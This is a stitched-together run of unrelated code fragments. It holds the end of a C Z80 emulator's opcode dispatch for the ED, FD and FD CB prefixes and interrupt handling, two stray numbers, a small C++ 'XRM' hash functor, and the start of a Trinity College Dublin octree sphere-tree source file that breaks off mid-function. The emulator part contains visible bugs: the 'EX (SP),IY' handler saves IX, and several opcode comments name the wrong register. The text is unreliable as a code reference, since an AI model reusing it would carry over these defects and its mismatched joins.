temp=readmem(hl.w); hl.w++; writemem(de.w,temp); de.w++; bc.w--; if (bc.w) { pc-=2; cycles-=24; } else cycles-=20; if (bc.w) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; break; case 0xB1: /*CPIR*/ temp=readmem(hl.w); hl.w++; if (af.b.h==temp) af.b.l|=Z_FLAG; else af.b.l&=~Z_FLAG; bc.w--; if (bc.w && af.b.h!=temp) { pc-=2; cycles-=4; } if (bc.w) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; cycles-=20; break; case 0xB4: /*NOP*/ case 0xB5: /*NOP*/ case 0xB6: /*NOP*/ case 0xB7: /*NOP*/ cycles-=8; break; case 0xB8: /*LDDR*/ temp=readmem(hl.w); hl.w--; writemem(de.w,temp); de.w--; bc.w--; if (bc.w) { pc-=2; cycles-=24; } else cycles-=20; if (bc.w) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; break; case 0xB9: /*CPDR*/ //printf("CPDR %04X %i\n",pc,curhrom); temp=readmem(hl.w); hl.w--; setcp(af.b.h,temp); bc.w--; if (bc.w && af.b.h!=temp) { pc-=2; cycles-=8; } if (bc.w) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; cycles-=20; break; case 0xBC: /*NOP*/ case 0xBD: /*NOP*/ case 0xBE: /*NOP*/ case 0xBF: /*NOP*/ case 0xC0: /*NOP*/ case 0xC1: /*NOP*/ case 0xC2: /*NOP*/ case 0xC3: /*NOP*/ case 0xC4: /*NOP*/ case 0xC5: /*NOP*/ case 0xC6: /*NOP*/ case 0xC7: /*NOP*/ case 0xC8: /*NOP*/ case 0xC9: /*NOP*/ case 0xCA: /*NOP*/ case 0xCB: /*NOP*/ case 0xCC: /*NOP*/ case 0xCD: /*NOP*/ case 0xCE: /*NOP*/ case 0xCF: /*NOP*/ case 0xD0: /*NOP*/ case 0xD1: /*NOP*/ case 0xD2: /*NOP*/ case 0xD3: /*NOP*/ case 0xD4: /*NOP*/ case 0xD5: /*NOP*/ case 0xD6: /*NOP*/ case 0xD7: /*NOP*/ case 0xD8: /*NOP*/ case 0xD9: /*NOP*/ case 0xDA: /*NOP*/ case 0xDB: /*NOP*/ case 0xDC: /*NOP*/ case 0xDD: /*NOP*/ case 0xDE: /*NOP*/ case 0xDF: /*NOP*/ case 0xE0: /*NOP*/ case 0xE1: /*NOP*/ case 0xE2: /*NOP*/ case 0xE3: /*NOP*/ case 0xE4: /*NOP*/ case 0xE5: /*NOP*/ case 0xE6: /*NOP*/ case 0xE7: /*NOP*/ case 0xE8: /*NOP*/ case 0xE9: /*NOP*/ case 0xEA: /*NOP*/ case 0xEB: /*NOP*/ case 0xEC: /*NOP*/ case 0xED: /*NOP*/ case 0xEE: /*NOP*/ case 0xEF: /*NOP*/ case 0xF0: /*NOP*/ case 0xF1: /*NOP*/ case 0xF2: /*NOP*/ case 0xF3: /*NOP*/ case 0xF4: /*NOP*/ case 0xF5: /*NOP*/ case 0xF6: /*NOP*/ case 0xF7: /*NOP*/ case 0xF8: /*NOP*/ case 0xF9: /*NOP*/ case 0xFA: /*NOP*/ case 0xFB: /*NOP*/ case 0xFC: /*NOP*/ case 0xFD: /*NOP*/ case 0xFE: /*NOP*/ case 0xFF: /*NOP*/ cycles-=8; break; default: //printf("Bad ED opcode %02X at %04X\n",opcode,--pc); dumpregs(); exit(-1); } break; case 0xEE: /*XOR xx*/ af.b.h^=readmem(pc); pc++; af.b.l&=~3; setzn(af.b.h); cycles-=8; break; case 0xEF: /*RST 28*/ push(pc>>8); push(pc); pc=0x28; cycles-=16; break; case 0xF0: /*RET P*/ if (!(af.b.l&N_FLAG)) { pc=pull(); pc|=pull()<<8; cycles-=8; } cycles-=8; break; case 0xF1: /*POP AF*/ af.b.l=pull(); af.b.h=pull(); cycles-=12; break; case 0xF2: /*JP P,xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (!(af.b.l&N_FLAG)) pc=addr; cycles-=12; break; case 0xF3: /*DI*/ iff1=0; cycles-=4; break; case 0xF4: /*CALL P*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (!(af.b.l&N_FLAG)) { push(pc>>8); push(pc&0xFF); pc=addr; cycles-=8; } cycles-=12; break; case 0xF5: /*PUSH AF*/ push(af.b.h); push(af.b.l); cycles-=16; break; case 0xF6: /*OR xx*/ af.b.h|=readmem(pc); pc++; af.b.l&=~3; setzn(af.b.h); cycles-=8; break; case 0xF7: /*RST 30*/ push(pc>>8); push(pc); pc=0x30; cycles-=16; break; case 0xF8: /*RET M*/ if (af.b.l&N_FLAG) { pc=pull(); pc|=pull()<<8; cycles-=8; } cycles-=8; break; case 0xF9: /*LD SP,HL*/ sp=hl.w; cycles-=4; break; case 0xFA: /*JP M,xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (af.b.l&N_FLAG) pc=addr; cycles-=12; break; case 0xFB: /*EI*/ iff1=2; if (intreq) intreq=-1; cycles-=4; break; case 0xFC: /*CALL M*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (af.b.l&N_FLAG) { push(pc>>8); push(pc&0xFF); pc=addr; cycles-=8; } cycles-=12; break; case 0xFD: /*More opcodes - IY*/ ir.b.l++; opcode=readmem(pc); pc++; switch (opcode) { case 0x00: case 0x4D: case 0xE0: ir.b.l--; pc--; cycles-=4; break; case 0x09: /*ADD IY,BC*/ setadd16(iy.w,bc.w); iy.w+=bc.w; cycles-=16; break; case 0x19: /*ADD IY,DE*/ setadd16(iy.w,de.w); iy.w+=de.w; cycles-=16; break; case 0x21: /*LD IY,xxxx*/ iy.b.l=readmem(pc); pc++; iy.b.h=readmem(pc); pc++; cycles-=16; break; case 0x22: /*LD (xxxx),IY*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; writemem(addr,iy.b.l); writemem(addr+1,iy.b.h); cycles-=24; break; case 0x23: /*INC IY*/ iy.w++; cycles-=12; break; // NEW case 0x24: /*INC IYh*/ iy.b.h++; setinc(iy.b.h); cycles-=8; break; case 0x25: /*DEC IYh*/ iy.b.h--; setdec(iy.b.h); cycles-=8; break; case 0x26: /*LD IYh,xx*/ iy.b.h=readmem(pc); pc++; cycles-=12; break; case 0x29: /*ADD IY,IY*/ setadd16(iy.w,iy.w); iy.w+=iy.w; cycles-=16; break; case 0x2A: /*LD IY,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; iy.b.l=readmem(addr); iy.b.h=readmem(addr+1); cycles-=24; break; case 0x2B: /*DEC IY*/ iy.w--; cycles-=12; break; case 0x2C: /*INC IYl*/ iy.b.l++; setinc(iy.b.l); cycles-=8; break; case 0x2D: /*DEC IYl*/ iy.b.l--; setdec(iy.b.l); cycles-=8; break; // NEW case 0x2E: /*LD IYl,xx*/ iy.b.l=readmem(pc); pc++; cycles-=12; // t 12 break; case 0x34: /*INC (IY+d)*/ offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset)+1; setinc(temp); writemem(iy.w+offset,temp); cycles-=24; break; case 0x35: /*DEC (IY+d)*/ offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset)-1; setdec(temp); writemem(iy.w+offset,temp); cycles-=24; break; case 0x36: /*LD (IY+d),xx*/ offset=(signed char)readmem(pc); pc++; temp=readmem(pc); pc++; writemem(iy.w+offset,temp); cycles-=24; break; case 0x39: /*ADD IY,SP*/ setadd16(iy.w,sp); iy.w+=sp; cycles-=16; break; case 0x3A: /*LD A,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; af.b.h=readmem(addr); cycles-=20; break; // t 4 case 0x3B: /*DEC SP*/ sp--; cycles-=12; break; // t 4 case 0x3C: /*INC A*/ af.b.h++; setinc(af.b.h); cycles-=4; break; // t 4 case 0x3D: /*DEC A*/ af.b.h--; setdec(af.b.h); cycles-=4; break; // t 8 case 0x3E: /*LD A,xx*/ af.b.h=readmem(pc); pc++; cycles-=8; break; // t 4 case 0x3F: /*CCF*/ if (af.b.l&C_FLAG) af.b.l|=H_FLAG; else af.b.l&=~H_FLAG; af.b.l^=C_FLAG; cycles-=4; break; case 0x40: bc.b.h=bc.b.h; cycles-=8; break; /*LD B,B*/ case 0x41: bc.b.h=bc.b.l; cycles-=8; break; /*LD B,C*/ case 0x42: bc.b.h=de.b.h; cycles-=8; break; /*LD B,D*/ case 0x43: bc.b.h=de.b.l; cycles-=8; break; /*LD B,E*/ case 0x44: bc.b.h=iy.b.h; cycles-=8; break; /*LD B,IYh*/ // NEW case 0x45: bc.b.h=iy.b.l; cycles-=8; break; /*LD B,IYl*/ case 0x46: offset=(signed char)readmem(pc); pc++; bc.b.h=readmem(iy.w+offset); cycles-=20; break; /*LD B,(IY+d)*/ case 0x4E: offset=(signed char)readmem(pc); pc++; bc.b.l=readmem(iy.w+offset); cycles-=20; break; /*LD C,(IY+d)*/ case 0x4F: bc.b.l=af.b.h; cycles-=8; break; /*LD C,A*/ case 0x50: de.b.h=bc.b.h; cycles-=8; break; /*LD D,B*/ case 0x51: de.b.h=bc.b.l; cycles-=8; break; /*LD D,C*/ case 0x52: de.b.h=de.b.h; cycles-=8; break; /*LD D,D*/ case 0x53: de.b.h=de.b.l; cycles-=8; break; /*LD D,E*/ case 0x54: de.b.h=iy.b.h; cycles-=8; break; /*LD D,IYh*/ case 0x55: de.b.h=iy.b.l; cycles-=8; break; /*LD D,IYl*/ case 0x56: offset=(signed char)readmem(pc); pc++; de.b.h=readmem(iy.w+offset); cycles-=20; break; /*LD D,(IY+d)*/ case 0x57: de.b.h=af.b.h; cycles-=8; break; /*LD D,A*/ case 0x58: de.b.l=bc.b.h; cycles-=8; break; /*LD E,B*/ case 0x59: de.b.l=bc.b.l; cycles-=8; break; /*LD E,C*/ case 0x5A: de.b.l=de.b.h; cycles-=8; break; /*LD E,D*/ case 0x5B: de.b.l=de.b.l; cycles-=8; break; /*LD E,E*/ case 0x5C: de.b.l=iy.b.h; cycles-=8; break; /*LD E,IYh*/ case 0x5D: de.b.l=iy.b.l; cycles-=8; break; /*LD E,IYl*/ case 0x5E: offset=(signed char)readmem(pc); pc++; de.b.l=readmem(iy.w+offset); cycles-=20; break; /*LD E,(IY+d)*/ case 0x5F: de.b.l=af.b.h; cycles-=8; break; /*LD E,A*/ case 0x60: iy.b.h=bc.b.h; cycles-=8; break; /*LD IYh,B*/ case 0x61: iy.b.h=bc.b.l; cycles-=8; break; /*LD IYh,C*/ case 0x62: iy.b.h=de.b.h; cycles-=8; break; /*LD IYh,B*/ case 0x63: iy.b.h=de.b.l; cycles-=8; break; /*LD IYh,C*/ case 0x64: iy.b.h=hl.b.h; cycles-=8; break; /*LD IYh,B*/ case 0x65: iy.b.h=hl.b.l; cycles-=8; break; /*LD IYh,C*/ case 0x66: offset=(signed char)readmem(pc); pc++; hl.b.h=readmem(iy.w+offset); cycles-=20; break; /*LD H,(IY+d)*/ case 0x67: iy.b.h=af.b.h; cycles-=8; break; /*LD IYh,A*/ case 0x68: iy.b.l=bc.b.h; cycles-=8; break; /*LD IYl,B*/ case 0x69: iy.b.l=bc.b.l; cycles-=8; break; /*LD IYl,C*/ case 0x6A: iy.b.l=de.b.h; cycles-=8; break; /*LD IYl,B*/ case 0x6B: iy.b.l=de.b.l; cycles-=8; break; /*LD IYl,C*/ case 0x6C: iy.b.l=hl.b.h; cycles-=8; break; /*LD IYl,B*/ case 0x6D: iy.b.l=hl.b.l; cycles-=8; break; /*LD IYl,C*/ case 0x6E: offset=(signed char)readmem(pc); pc++; hl.b.l=readmem(iy.w+offset); cycles-=20; break; /*LD L,(IY+d)*/ case 0x6F: iy.b.l=af.b.h; cycles-=8; break; /*LD IYl,A*/ case 0x70: offset=(signed char)readmem(pc); pc++; writemem(iy.w+offset,bc.b.h); cycles-=20; break; /*LD (IY+d),B*/ case 0x71: offset=(signed char)readmem(pc); pc++; writemem(iy.w+offset,bc.b.l); cycles-=20; break; /*LD (IY+d),C*/ case 0x72: offset=(signed char)readmem(pc); pc++; writemem(iy.w+offset,de.b.h); cycles-=20; break; /*LD (IY+d),D*/ case 0x73: offset=(signed char)readmem(pc); pc++; writemem(iy.w+offset,de.b.l); cycles-=20; break; /*LD (IY+d),E*/ case 0x74: offset=(signed char)readmem(pc); pc++; writemem(iy.w+offset,hl.b.h); cycles-=20; break; /*LD (IY+d),H*/ case 0x75: offset=(signed char)readmem(pc); pc++; writemem(iy.w+offset,hl.b.l); cycles-=20; break; /*LD (IY+d),L*/ case 0x76: /*HALT*/ if (!intreq) pc--; cycles-=8; break; case 0x77: offset=(signed char)readmem(pc); pc++; writemem(iy.w+offset,af.b.h); cycles-=20; break; /*LD (IY+d),A*/ case 0x78: af.b.h=bc.b.h; cycles-=8; break; /*LD A,B*/ case 0x79: af.b.h=bc.b.l; cycles-=8; break; /*LD A,C*/ case 0x7A: af.b.h=de.b.h; cycles-=8; break; /*LD A,D*/ case 0x7B: af.b.h=de.b.l; cycles-=8; break; /*LD A,E*/ case 0x7C: af.b.h=iy.b.h; cycles-=8; break; /*LD A,IYh*/ case 0x7D: af.b.h=iy.b.l; cycles-=8; break; /*LD A,IYl*/ case 0x7E: offset=(signed char)readmem(pc); pc++; af.b.h=readmem(iy.w+offset); cycles-=20; break; /*LD A,(IY+d)*/ case 0x7F: af.b.h=af.b.h; cycles-=8; break; /*LD A,A*/ case 0x80: setadd(af.b.h,bc.b.h); af.b.h+=bc.b.h; cycles-=8; break; /*ADD B*/ case 0x81: setadd(af.b.h,bc.b.l); af.b.h+=bc.b.l; cycles-=8; break; /*ADD C*/ case 0x82: setadd(af.b.h,de.b.h); af.b.h+=de.b.h; cycles-=8; break; /*ADD D*/ case 0x83: setadd(af.b.h,de.b.l); af.b.h+=de.b.l; cycles-=8; break; /*ADD E*/ case 0x84: setadd(af.b.h,iy.b.h); af.b.h+=iy.b.h; cycles-=8; break; /*ADD IYh*/ case 0x85: setadd(af.b.h,iy.b.l); af.b.h+=iy.b.l; cycles-=8; break; /*ADD IYl*/ case 0x86: offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset); setadd(af.b.h,temp); af.b.h+=temp; cycles-=20; break; /*ADD (IY+d)*/ case 0x87: setadd(af.b.h,af.b.h); af.b.h+=af.b.h; cycles-=8; break; /*ADD A*/ case 0x88: setadc(af.b.h,bc.b.h); af.b.h+=bc.b.h+tempc; cycles-=8; break; /*ADC B*/ case 0x89: setadc(af.b.h,bc.b.l); af.b.h+=bc.b.l+tempc; cycles-=8; break; /*ADC C*/ case 0x8A: setadc(af.b.h,de.b.h); af.b.h+=de.b.h+tempc; cycles-=8; break; /*ADC D*/ case 0x8B: setadc(af.b.h,de.b.l); af.b.h+=de.b.l+tempc; cycles-=8; break; /*ADC E*/ case 0x8E: offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset); setadc(af.b.h,temp); af.b.h+=temp+tempc; cycles-=20; break; /*ADC (IY+d)*/ // t 28 case 0x8C: setadc(af.b.h,iy.b.h); af.b.h+=iy.b.h+tempc; cycles-=8; break; /*ADC IYh*/ case 0x8D: setadc(af.b.h,iy.b.l); af.b.h+=iy.b.l+tempc; cycles-=8; break; /*ADC IYl*/ case 0x94: setsub(af.b.h,iy.b.h); af.b.h-=iy.b.h; cycles-=8; break; /*SUB IYh*/ case 0x95: setsub(af.b.h,iy.b.l); af.b.h-=iy.b.l; cycles-=8; break; /*SUB IYl*/ case 0x96: offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset); setsub(af.b.h,temp); af.b.h-=temp; cycles-=20; break; /*SUB (IY+d)*/ case 0x9C: setsbc(af.b.h,iy.b.h); af.b.h-=(iy.b.h+tempc); cycles-=8; break; /*SBC IYh*/ case 0x9D: setsbc(af.b.h,iy.b.l); af.b.h-=(iy.b.l+tempc); cycles-=8; break; /*SBC IYl*/ case 0x9E: offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset); setsbc(af.b.h,temp); af.b.h-=(temp+tempc); cycles-=20; break; /*SBC (IY+d)*/ case 0xA6: offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset); af.b.h&=temp; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=20; break; /*AND (IY+d)*/ case 0xAE: offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset); af.b.h^=temp; setzn(af.b.h); cycles-=20; break; /*XOR (IY+d)*/ case 0xB6: offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset); af.b.h|=temp; setzn(af.b.h); cycles-=20; break; /*OR (IY+d)*/ case 0xBE: offset=(signed char)readmem(pc); pc++; temp=readmem(iy.w+offset); setcp(af.b.h,temp); cycles-=20; break; /*CP (IY+d)*/ case 0xA4: af.b.h&=iy.b.h; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=8; break; /*AND IYh*/ case 0xA5: af.b.h&=iy.b.l; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=8; break; /*AND IYl*/ case 0xB4: af.b.h|=iy.b.h; setzn(af.b.h); cycles-=8; break; /*OR IYh*/ case 0xB5: af.b.h|=iy.b.l; setzn(af.b.h); cycles-=8; break; /*OR IYl*/ // NEW. case 0xAC: af.b.h^=iy.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=8; break; /*XOR IYh*/ // NEW case 0xAD: af.b.h^=iy.b.l; setzn(af.b.h); af.b.l&=~3; cycles-=8; break; /*XOR IYL*/ // NEW // NEW. case 0xBC: setcp(af.b.h,iy.b.h); cycles-=8; break; /*CP IYh*/ // NEW case 0xBD: setcp(af.b.h,iy.b.l); cycles-=8; break; /*CP IYl*/ // NEW case 0xCB: /*More opcodes*/ offset=(signed char)readmem(pc); pc++; opcode=readmem(pc); pc++; ir.b.l++; switch (opcode) { case 0x06: temp=readmem(iy.w+offset); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; if (af.b.l&C_FLAG) temp|=1; setznc(temp); writemem(iy.w+offset,temp); cycles-=28; break; /*RLC (IY+d)*/ case 0x0E: temp=readmem(iy.w+offset); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (af.b.l&C_FLAG) temp|=0x80; setznc(temp); writemem(iy.w+offset,temp); cycles-=28; break; /*RRC (IY+d)*/ case 0x16: temp=readmem(iy.w+offset); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; if (tempc) temp|=1; setznc(temp); writemem(iy.w+offset,temp); cycles-=28; break; /*RL (IY+d)*/ case 0x1E: temp=readmem(iy.w+offset); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (tempc) temp|=0x80; setznc(temp); writemem(iy.w+offset,temp); cycles-=28; break; /*RR (IY+d)*/ case 0x26: temp=readmem(iy.w+offset); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; setznc(temp); writemem(iy.w+offset,temp); cycles-=28; break; /*SLA (IY+d)*/ case 0x2E: temp=readmem(iy.w+offset); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (temp&0x40) temp|=0x80; setznc(temp); writemem(iy.w+offset,temp); cycles-=28; break; /*SRA (IY+d)*/ case 0x3E: temp=readmem(iy.w+offset); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; setznc(temp); writemem(iy.w+offset,temp); cycles-=28; break; /*SRL (IY+d)*/ case 0x46: temp=readmem(iy.w+offset); setznc(temp&0x01); cycles-=24; break; /*BIT 0,(IY+d)*/ case 0x4E: temp=readmem(iy.w+offset); setznc(temp&0x02); cycles-=24; break; /*BIT 1,(IY+d)*/ case 0x56: temp=readmem(iy.w+offset); setznc(temp&0x04); cycles-=24; break; /*BIT 2,(IY+d)*/ case 0x5E: temp=readmem(iy.w+offset); setznc(temp&0x08); cycles-=24; break; /*BIT 3,(IY+d)*/ case 0x66: temp=readmem(iy.w+offset); setznc(temp&0x10); cycles-=24; break; /*BIT 4,(IY+d)*/ case 0x6E: temp=readmem(iy.w+offset); setznc(temp&0x20); cycles-=24; break; /*BIT 5,(IY+d)*/ case 0x76: temp=readmem(iy.w+offset); setznc(temp&0x40); cycles-=24; break; /*BIT 6,(IY+d)*/ case 0x7E: temp=readmem(iy.w+offset); setznc(temp&0x80); cycles-=24; break; /*BIT 7,(IY+d)*/ case 0x86: temp=readmem(iy.w+offset)&~0x01; writemem(iy.w+offset,temp); cycles-=28; break; /*RES 0,(IY+d)*/ case 0x8E: temp=readmem(iy.w+offset)&~0x02; writemem(iy.w+offset,temp); cycles-=28; break; /*RES 1,(IY+d)*/ case 0x96: temp=readmem(iy.w+offset)&~0x04; writemem(iy.w+offset,temp); cycles-=28; break; /*RES 2,(IY+d)*/ case 0x9E: temp=readmem(iy.w+offset)&~0x08; writemem(iy.w+offset,temp); cycles-=28; break; /*RES 3,(IY+d)*/ case 0xA6: temp=readmem(iy.w+offset)&~0x10; writemem(iy.w+offset,temp); cycles-=28; break; /*RES 4,(IY+d)*/ case 0xAE: temp=readmem(iy.w+offset)&~0x20; writemem(iy.w+offset,temp); cycles-=28; break; /*RES 5,(IY+d)*/ case 0xB6: temp=readmem(iy.w+offset)&~0x40; writemem(iy.w+offset,temp); cycles-=28; break; /*RES 6,(IY+d)*/ case 0xBE: temp=readmem(iy.w+offset)&~0x80; writemem(iy.w+offset,temp); cycles-=28; break; /*RES 7,(IY+d)*/ case 0xC6: temp=readmem(iy.w+offset)|0x01; writemem(iy.w+offset,temp); cycles-=28; break; /*SET 0,(IY+d)*/ case 0xCE: temp=readmem(iy.w+offset)|0x02; writemem(iy.w+offset,temp); cycles-=28; break; /*SET 1,(IY+d)*/ case 0xD6: temp=readmem(iy.w+offset)|0x04; writemem(iy.w+offset,temp); cycles-=28; break; /*SET 2,(IY+d)*/ case 0xDE: temp=readmem(iy.w+offset)|0x08; writemem(iy.w+offset,temp); cycles-=28; break; /*SET 3,(IY+d)*/ case 0xE6: temp=readmem(iy.w+offset)|0x10; writemem(iy.w+offset,temp); cycles-=28; break; /*SET 4,(IY+d)*/ case 0xEE: temp=readmem(iy.w+offset)|0x20; writemem(iy.w+offset,temp); cycles-=28; break; /*SET 5,(IY+d)*/ case 0xF6: temp=readmem(iy.w+offset)|0x40; writemem(iy.w+offset,temp); cycles-=28; break; /*SET 6,(IY+d)*/ case 0xFE: temp=readmem(iy.w+offset)|0x80; writemem(iy.w+offset,temp); cycles-=28; break; /*SET 7,(IY+d)*/ default: //printf("Bad FD CB opcode %02X at %04X\n",opcode,--pc); dumpregs(); exit(-1); } break; case 0xE1: /*POP IY*/ iy.b.l=pull(); iy.b.h=pull(); cycles-=20; break; case 0xE3: /*EX (SP),Iy*/ tempw=ix.w; iy.b.l=readmem(sp); iy.b.h=readmem(sp+1); writemem(sp,tempw&0xFF); writemem(sp+1,tempw>>8); cycles-=28; // t 28 break; case 0xE5: /*PUSH IY*/ push(iy.b.h); push(iy.b.l); cycles-=20; break; case 0xE9: /*JP (IY)*/ pc=iy.w; cycles-=8; break; case 0xF9: /*LD SP,IY*/ sp=iy.w; cycles-=12; break; case 0xDD: /*Another prefix*/ case 0xFD: ir.b.l--; cycles-=4; pc--; break; default: //printf("Bad FD opcode %02X at %04X\n",opcode,--pc); dumpregs(); exit(-1); } break; case 0xFE: /*CP xx*/ temp=readmem(pc); pc++; setcp(af.b.h,temp); cycles-=8; break; case 0xFF: /*RST 38*/ push(pc>>8); push(pc); pc=0x38; cycles-=16; break; default: //printf("Bad opcode %02X at %04X\n",opcode,--pc); dumpregs(); exit(-1); } ir.b.l++; if (intreq==1 && iff1==1) { cleargacount(); intreq=0; iff2=iff1; iff1=0; push(pc>>8); push(pc&0xFF); switch (im) { case 0: pc=0x38; cycles-=20; break; case 1: pc=0x38; cycles-=20; break; case 2: addr=(ir.b.h<<8)|0xFF; pc=readmem(addr)|(readmem(addr+1)<<8); cycles-=76; break; default: //printf("Bad IM %i\n",im); dumpregs(); exit(-1); } } if (intreq==-1) intreq=1; if (iff1==3) iff1=iff2=1; if (iff1==2) iff1=3; } } }
529,602
395,142
class XRM { public: XRM(uint64_t _x, uint64_t _r, uint64_t _m) : x(_x), r(_r), m(_m) {} uint64_t operator()(uint64_t value) const { value ^= x; value = (value>>r) + (value<<(64-r)); value *= m; return value; } const uint64_t x, r, m; };
307
141
/*************************************************************************\ C O P Y R I G H T Copyright 2003 Image Synthesis Group, Trinity College Dublin, Ireland. All Rights Reserved. Permission to use, copy, modify and distribute this software and its documentation for educational, research and non-profit purposes, without fee, and without a written agreement is hereby granted, provided that the above copyright notice and the following paragraphs appear in all copies. D I S C L A I M E R IN NO EVENT SHALL TRININTY COLLEGE DUBLIN BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING, BUT NOT LIMITED TO, LOST PROFITS, ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF TRINITY COLLEGE DUBLIN HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. TRINITY COLLEGE DUBLIN DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREIN IS ON AN "AS IS" BASIS, AND TRINITY COLLEGE DUBLIN HAS NO OBLIGATIONS TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. The authors may be contacted at the following e-mail addresses: Gareth_Bradshaw@yahoo.co.uk isg@cs.tcd.ie Further information about the ISG and it's project can be found at the ISG web site : isg.cs.tcd.ie \**************************************************************************/ #include "STGOctree.h" #include "SFWhite.h" #include "../Geometry/CubeTri.h" STGOctree::STGOctree(){ sur = NULL; surTester = NULL; } STGOctree::STGOctree(const Surface &sur){ setSurface(sur); } void STGOctree::setSurface(const Surface &sur){ this->sur = &sur; } void STGOctree::constructTree(SphereTree *st) const{ CHECK_DEBUG(st != NULL, "Need SphereTree"); CHECK_DEBUG(sur != NULL, "Need Surface : use setSurface"); constructTree(st, *sur, surTester); } void STGOctree::constructTree(SphereTree *st, const Surface &sur, const SurfaceTester *surTester){ CHECK_DEBUG(st->degree == 8, "OCTREE i.e. degree == 8"); CHECK_DEBUG0(st->levels >= 0); getSpheres(st, sur, 2, surTester); } void STGOctree::filterTriangles(Array<int> *selTris, const Array<int> &srcTris, const Surface &sur, const Point3D &pMin, float edgeLength){ selTris->setSize(0); double extra = edgeLength*EPSILON_LARGE + EPSILON_LARGE; int numTris = srcTris.getSize(); for (int i = 0; i < numTris; i++){ // get triangle int tNum = srcTris.index(i); const Surface::Triangle *tri = &sur.triangles.index(tNum); // get vertices Point3D pTri[3]; for (int j = 0; j < 3; j++) pTri[j] = sur.vertices.index(tri->v[j]).p; // test for triangle - cube overlap if (overlapTest(pMin, edgeLength, pTri, extra)) selTris->addItem() = tNum; } } void STGOctree::getChildren(SphereTree *tree, const Surface &sur, int node, int level, int divs, const Point3D &pMin, float size, const Array<int> &tris, const SurfaceTester *surTester){ // work out the size of the new spheres float subSize = size / divs; // generate children and recurse int firstChild = tree->getFirstChild(node); int numChildren = 0; for (int i = 0; i < divs; i++){ float x = pMin.x + i*subSize; for (int j = 0; j < divs; j++){ float y = pMin.y + j*subSize; for (int k = 0; k < divs; k++){ float z = pMin.z + k*subSize; Point3D pMinNew = {x, y, z}; // find the triangles overlapping the cube Array<int> selTris; filterTriangles(&selTris, tris, sur, pMinNew, subSize); // create sphere STSphere sph; sph.c.x = x + subSize/2.0f; sph.c.y = y + subSize/2.0f; sph.c.z = z + subSize/2.0f; sph.r = sph.c.distance(pMinNew); if (selTris.getSize()){ // store sphere int childNum = firstChild + numChildren; numChildren++; tree->nodes.index(childNum)= sph; // generate children if (level < tree->levels-1) getChildren(tree, sur, childNum, level+1, divs, pMinNew, subSize, selTris, surTester); } else if (surTester){ // making solid octree // test center point Point3D pC; pC.x = x + subSize/2.0f; pC.y = y + subSize/2.0f; pC.z = z + subSize/2.0f; Point3D pClose; bool in = surTester->getClosestPointConditional(&pClose, pC, true); if (in){ // store sphere int childNum = firstChild + numChildren; numChildren++; tree->nodes.index(childNum)= sph; // generate children (if the sphere overlap's surface) int completelyInternal = pClose.distance(pC) > sph.r; //OUTPUTINFO("Internal Node (%s)\n", completelyInternal? "Complete":"SubDivide"); if (level < tree->levels-1 && !completelyInternal) getChildren(tree, sur, childNum, level+1, divs, pMinNew, subSize, selTris, surTester); } } } } } // invalidate rest of child spheres int totChild = divs*divs*divs; for (int i = numChildren; i < totChild; i++){ int childNum = firstChild+i; tree->initNode(childNum, level+1); } } void STGOctree::getSpheres(SphereTree *tree, const Surface &sur, int divs, const SurfaceTester *surTester){ // get bounding box STSphere s; float sizeX = sur.pMax.x - sur.pMin.x; float sizeY = sur.pMax.y - sur.pMin.y; float sizeZ = sur.pMax.z - sur.pMin.z; float size = sizeX; if (sizeY > size) size = sizeY; if (sizeZ > size) size = sizeZ; // get bounding sphere //s.c.x = sur.pMin.x + size/2.0f; //s.c.y = sur.pMin.y + size/2.0f; //s.c.z = sur.pMin.z + size/2.0f; //s.r = s.c.distance(sur.pMin); //tree->nodes.index(0) = s; // changed to use tighter sphere SFWhite::makeSphere(&tree->nodes.index(0), sur.vertices); // generate list of triangles contained in the parent box (for recursion) Array<int> tris; int numTris = sur.triangles.getSize(); tris.resize(numTris); for (int i = 0; i < numTris; i++) tris.index(i) = i; getChildren(tree, sur, 0, 1, divs, 